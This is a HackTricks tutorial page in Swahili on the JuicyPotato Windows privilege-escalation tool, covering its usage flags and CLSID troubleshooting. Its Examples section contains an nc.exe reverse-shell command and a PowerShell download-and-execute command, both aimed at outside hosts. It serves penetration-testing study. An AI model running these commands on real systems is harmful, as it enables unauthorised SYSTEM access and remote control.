JuicyPotato

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

[!WARNING] > JuicyPotato haitumiki kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, PrintSpoofer, RoguePotato, SharpEfsPotato zinaweza kutumika kuchukua faida ya ruhusa sawa na kupata NT AUTHORITY\SYSTEM kiwango cha ufikiaji. Angalia:

{{#ref}} roguepotato-and-printspoofer.md {{#endref}}

Juicy Potato (kutumia ruhusa za dhahabu)

Toleo lililo na sukari la RottenPotatoNG, likiwa na kidogo cha juisi, yaani chombo kingine cha Kupanua Ruhusa za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM

Unaweza kupakua juicypotato kutoka https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Muhtasari

Kutoka kwa juicy-potato Readme:

RottenPotatoNG na mifano zake zinatumia mnyororo wa kupanua ruhusa kulingana na BITS huduma ikiwa na msikilizaji wa MiTM kwenye 127.0.0.1:6666 na unapokuwa na ruhusa za SeImpersonate au SeAssignPrimaryToken. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo BITS ulikuwa umezimwa makusudi na bandari 6666 ilikuwa imechukuliwa.

Tuliamua kuunda silaha RottenPotatoNG: Sema salamu kwa Juicy Potato.

Kwa nadharia, angalia Rotten Potato - Kupanua Ruhusa kutoka Akaunti za Huduma hadi SYSTEM na ufuate mnyororo wa viungo na marejeleo.

Tuligundua kwamba, mbali na BITS kuna seva kadhaa za COM tunaweza kutumia. Zinahitaji tu:

  1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana ruhusa za kuiga
  2. kutekeleza interface ya IMarshal
  3. kukimbia kama mtumiaji aliyeinuliwa (SYSTEM, Administrator, …)

Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya CLSID za kuvutia kwenye toleo kadhaa za Windows.

Maelezo ya Juicy

JuicyPotato inakuwezesha:

  • CLSID ya Lengo chagua CLSID yoyote unayotaka. Hapa unaweza kupata orodha iliyopangwa kwa OS.
  • Bandari ya Kusikiliza ya COM mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyowekwa kwenye marshalled)
  • Anwani ya IP ya Kusikiliza ya COM fungua seva kwenye IP yoyote
  • Njia ya uundaji wa mchakato kulingana na ruhusa za mtumiaji aliyeiga unaweza kuchagua kutoka:
  • CreateProcessWithToken (inahitaji SeImpersonate)
  • CreateProcessAsUser (inahitaji SeAssignPrimaryToken)
  • zote
  • Mchakato wa kuzindua zindua executable au script ikiwa unyakuzi utafaulu
  • Argument ya Mchakato binafsisha hoja za mchakato uliozinduliwa
  • Anwani ya Seva ya RPC kwa njia ya siri unaweza kujiandikisha kwa seva ya RPC ya nje
  • Bandari ya Seva ya RPC inafaa ikiwa unataka kujiandikisha kwa seva ya nje na firewall inazuia bandari 135
  • MTIHANI wa hali hasa kwa madhumuni ya majaribio, yaani. kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia hapa kwa majaribio

Matumizi

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Mawazo ya Mwisho

Kutoka juicy-potato Readme:

Ikiwa mtumiaji ana SeImpersonate au SeAssignPrimaryToken ruhusa basi wewe ni SYSTEM.

Ni karibu haiwezekani kuzuia matumizi mabaya ya COM Servers hizi zote. Unaweza kufikiria kubadilisha ruhusa za vitu hivi kupitia DCOMCNFG lakini bahati njema, hii itakuwa changamoto.

Suluhisho halisi ni kulinda akaunti nyeti na programu ambazo zinafanya kazi chini ya akaunti za * SERVICE. Kuzuia DCOM hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwenye OS inayotegemea.

Kutoka: http://ohpe.it/juicy-potato/

Mifano

Kumbuka: Tembelea ukurasa huu kwa orodha ya CLSIDs za kujaribu.

Pata nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Anzisha CMD mpya (ikiwa una ufikiaji wa RDP)

Matatizo ya CLSID

Mara nyingi, CLSID ya kawaida ambayo JuicyPotato inatumia haifanyi kazi na exploit inashindwa. Kawaida, inachukua majaribio kadhaa kupata CLSID inayofanya kazi. Ili kupata orodha ya CLSIDs za kujaribu kwa mfumo maalum wa uendeshaji, unapaswa kutembelea ukurasa huu:

{{#ref}} https://ohpe.it/juicy-potato/CLSID/ {{#endref}}

Kuangalia CLSIDs

Kwanza, utahitaji baadhi ya executable mbali na juicypotato.exe.

Pakua Join-Object.ps1 na uipakie kwenye kikao chako cha PS, na pakua na uendeshe GetCLSID.ps1. Skripti hiyo itaunda orodha ya CLSIDs zinazowezekana za kujaribu.

Kisha pakua test_clsid.bat (badilisha njia ya orodha ya CLSID na kwa executable ya juicypotato) na uendeshe. Itaanza kujaribu kila CLSID, na wakati nambari ya bandari inabadilika, itamaanisha kwamba CLSID ilifanya kazi.

Angalia CLSIDs zinazofanya kazi ukitumia parameter -c

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks